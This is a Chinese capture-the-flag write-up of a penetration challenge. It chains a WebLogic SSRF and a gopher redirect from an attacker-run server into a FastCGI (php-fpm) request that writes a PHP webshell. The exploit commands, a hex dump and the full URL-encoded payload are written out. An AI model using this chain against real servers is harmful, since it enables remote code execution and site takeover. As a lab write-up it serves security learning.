三個白帽之來自星星的你(一)writeup
第一次正式做三個白帽的題目,能做出來挺不容易,還踩了很多坑...
0x00 挑戰介紹
來自星星的你被我給丟了,我可能需要用我所有的一切才能把你找回,編了兩句就編不下去了,好吧,我承認這是一期滲透題,就是這麼直接。
- tips 1: SSRF
- tips 2: 或許可以掃描下目錄?
- tips 3: /console/ 這個目錄會對你有幫助
0x01 wp
Discuz X3.2
開啟頁面首先是Discuz X3.2的站,搜了搜發現是6月1號才釋出的新版本,稍微搜了搜網上的幾個洞發現都已經被修復了,於是鹹魚了一夜,獲得hint:ssrf
搜尋依法發現長亭的rr菊苣發了一篇文章
https://blog.chaitin.com/gopher-attack-surfaces/
裡面提到discuz X3.2存在ssrf,利用ssrf+gopher協議可getshell
但是這個利用方式有個一個很重要的問題就是伺服器必須開啟 Gopher wrapper,且php執行方式是fastcgi。
掃一波目錄發現了info.php,透過phpinfo()我們發現並沒有開啟 Gopher wrapper。
鹹魚了一會兒發現了hint3/console/
透過這個發現存在weblogin站。。。
webLogin
這裡的洞很簡單了,稍微搜下發現
WooYun: 央視網SSRF可窺探內網(Weblogic SSRF案例) "> WooYun: 央視網SSRF可窺探內網(Weblogic SSRF案例)
測試發現http://0761e975dda0c67cb.jie.sangebaimao.com/uddiexplorer/SearchPublicRegistries.jsp這裡的洞確實存在。
而且可以配合前面提到的gopher協議getshell
根據長亭部落格的文章首先測試
在伺服器構造
#!php
<?php
header("Location:gopher://伺服器ip:2333/_test");
?>
然後在伺服器監聽2333埠
#!bash
nc -lvv 2333
提交請求
#!bash
http://0761e975dda0c67cb.jie.sangebaimao.com/uddiexplorer/SearchPublicRegistries.jsp?
operator=http://伺服器ip/gopher.php
&rdoSearch=name
&txtSearchname=sdf
&txtSearchkey=
發現確實收到了test,確認gopher可利用
那麼就是構造payload了
有篇很重要的文章關於fastcgi的利用
http://zone.wooyun.org/content/1060
用exp生成payload
#!bash
./fcgi_exp system 127.0.0.1 2333 /opt/discuz/info.php "echo ‘$_GET[x]($_POST[xx]);’ > /opt/discuz/data/test.php"
監聽2333埠
#!bash
nc -lvv 2333 > 1.txt
我們可以看下1.txt
#!bash
[email protected]:/home/wwwroot/default/fcgi_exp# xxd 1.txt
0000000: 0101 0001 0008 0000 0001 0000 0000 0000 ................
0000010: 0104 0001 0112 0600 0f14 5343 5249 5054 ..........SCRIPT
0000020: 5f46 494c 454e 414d 452f 6f70 742f 6469 _FILENAME/opt/di
0000030: 7363 757a 2f69 6e66 6f2e 7068 700d 0144 scuz/info.php..D
0000040: 4f43 554d 454e 545f 524f 4f54 2f0f 1053 OCUMENT_ROOT/..S
0000050: 4552 5645 525f 534f 4654 5741 5245 676f ERVER_SOFTWAREgo
0000060: 202f 2066 6367 6963 6c69 656e 7420 0b09 / fcgiclient ..
0000070: 5245 4d4f 5445 5f41 4444 5231 3237 2e30 REMOTE_ADDR127.0
0000080: 2e30 2e31 0f08 5345 5256 4552 5f50 524f .0.1..SERVER_PRO
0000090: 544f 434f 4c48 5454 502f 312e 310e 0343 TOCOLHTTP/1.1..C
00000a0: 4f4e 5445 4e54 5f4c 454e 4754 4831 3033 ONTENT_LENGTH103
00000b0: 0e04 5245 5155 4553 545f 4d45 5448 4f44 ..REQUEST_METHOD
00000c0: 504f 5354 095b 5048 505f 5641 4c55 4561 POST.[PHP_VALUEa
00000d0: 6c6c 6f77 5f75 726c 5f69 6e63 6c75 6465 llow_url_include
00000e0: 203d 204f 6e0a 6469 7361 626c 655f 6675 = On.disable_fu
00000f0: 6e63 7469 6f6e 7320 3d20 0a73 6166 655f nctions = .safe_
0000100: 6d6f 6465 203d 204f 6666 0a61 7574 6f5f mode = Off.auto_
0000110: 7072 6570 656e 645f 6669 6c65 203d 2070 prepend_file = p
0000120: 6870 3a2f 2f69 6e70 7574 0000 0000 0000 hp://input......
0000130: 0104 0001 0000 0000 0105 0001 0067 0100 .............g..
0000140: 3c3f 7068 7020 7379 7374 656d 2827 6563 <?php system('ec
0000150: 686f 20e2 8098 5b61 5d28 5b68 685d 293b ho ...[x]([xx]);
0000160: e280 9920 3e20 2f6f 7074 2f64 6973 6375 ... > /opt/discu
0000170: 7a2f 6461 7461 2f64 646f 672e 7068 7027 z/data/test.php'
0000180: 293b 6469 6528 272d 2d2d 2d2d 3076 6364 );die('-----0vcd
0000190: 6233 346f 6a75 3039 6238 6664 2d2d 2d2d b34oju09b8fd----
00001a0: 2d0a 2729 3b3f 3e00 -.');?>.
然後需要urlencode一下
#!python
>>> f = open('1.txt')
>>> ff = f.read()
>>> from urllib import quote
>>> quote(ff)
'%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%12%06%00%0F%14SCRIPT_FILENAME/opt/discuz/info.php%0D%01DOCUMENT_ROOT/%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH103%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00g%01%00%3C%3Fphp%20system%28%27echo%20%E2%80%98%5Bx%5D%28%5Bxx%5D%29%3B%E2%80%99%20%3E%20/opt/discuz/data/test.php%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00'
構造gopher.php
#!php
<?php
header("gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%12%06%00%0F%14SCRIPT_FILENAME/opt/discuz/info.php%0D%01DOCUMENT_ROOT/%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH103%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00g%01%00%3C%3Fphp%20system%28%27echo%20%E2%80%98%5Bx%5D%28%5Bxx%5D%29%3B%E2%80%99%20%3E%20/opt/discuz/data/test.php%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00");
?>
請求
#!bash
http://0761e975dda0c67cb.jie.sangebaimao.com/uddiexplorer/SearchPublicRegistries.jsp?
operator=http://ip/gopher.php
&rdoSearch=name
&txtSearchname=sdf
&txtSearchkey=
&txtSearchfor=
&selfor=Business+location
&btnSubmit=Search
由於discuz的data預設可寫,所以成功寫入webshell,有個問題就是不知道為什麼一直不能反彈shell進來
0x02 題目之後?
在做完題目之後想要深究一波原理,結果突然發現題目其實去年的hitcon quals的web400 lalala
整個題目的核心概念就是透過302 繞過限制 SSRF,然後透過 SSRF 中的 gopher 去利用本地的 FastCGI prtocol 實現遠端程式碼執行
實際中如果php fastcgi對公網開放,那麼就可以拿shell
php-fpm預設監聽9000埠,使用 PHP_ADMIN_VALUE 把 allow_url_include 設為 on 以及新增 auto_prepend_file,利用php://input執行php程式碼寫一個shell
相關文章
- 幾期『三個白帽』小競賽的writeup2020-08-19
- 三個白帽-條條大路通羅馬系列2-Writeup2020-08-19
- 三個白帽挑戰之我是李雷雷我在尋找韓梅梅系列3——writeup2020-08-19
- 愛奇藝:資料解讀“來自星星的你”——資訊圖2014-03-01
- 如何設定iPhone的手機鈴聲?【來自星星的你】2014-02-17iPhone
- 第一天-白帽守則2024-03-27
- 黑客暗戰——黑帽、白帽、灰帽背後的隱祕世界2017-06-08黑客
- 三道MISC的writeup2022-12-08
- 三個白帽條條大路通羅馬系列2之二進位制題分析2020-08-19
- 一位大神級“白帽黑客”眼中的網路安全2017-07-03黑客
- 網路安全中什麼是白帽、黑帽、灰帽駭客?有什麼區別?2021-08-16
- 第六屆補天白帽大會召開:多方聚力推動白帽人才實戰化能力發展2022-11-03
- 烏雲創始人方小頓:白帽黑客的掙扎2014-04-09黑客
- 轉一個白老大的文章--- 一個診斷的思路2009-12-11
- Dota2白帽們,這可能是你實現夢想最後的機會了!2019-08-16
- Coinbase迴應白帽黑客賬戶“被封”事…2016-04-18黑客
- 活下去,一個遊戲人的獨白2019-06-13遊戲
- React之你的第一個React程式2021-09-09React
- 一道面試題帶來的前端優化——實現星星點評2017-12-07面試題前端優化
- 超前看!匯聚全球頂尖白帽黑客的TCFT 2020終終終終於來了!2020-09-21黑客
- 前端開發的三個境界,你屬於哪一個?2017-12-26前端
- 你來說一下springboot的啟動時的一個自動裝配過程吧2020-12-14Spring Boot
- 用純css實現打星星效果(三)2018-07-13CSS
- 十五款好看的鍵帽,總有一款適合你✔2024-10-03
- QMUI實戰(三)——你是如何啟動你的第一個 Fragment 的?2019-12-22UIFragment
- 10個Python指令碼來自動化你的日常任務2022-10-20Python指令碼
- 【快問快答】PSRC季度Top1白帽挖洞的那些事兒2021-10-27
- 來自一個程式設計師的內心世界2018-08-25程式設計師
- AlloyDesigner----來直星星的web前端開發方式2014-03-15Web前端
- 2015年全球白帽黑客團體排行TOP 10 三支中國團隊入圍2015-12-28黑客
- 全球十大白帽黑客團體排行:Google 奪魁、三支中國團隊入選2015-12-29黑客Go
- Android小黑科技---來自火星的你2018-12-10Android
- Git 系列(三):建立你的第一個 Git 倉庫2016-08-04Git
- 一個TD測試工程師的獨白2008-03-14工程師
- 白嫖微軟(三)rclone2024-05-02微軟
- VR中的白帽機制,這把安全的雙刃劍應該如何使用?2017-07-10VR
- 白話經典演算法系列之中的一個 氣泡排序的三種實現2015-03-27演算法排序
- 兩會提案聚焦白帽黑客 周鴻禕為何頻頻為這個群體發聲2021-03-10黑客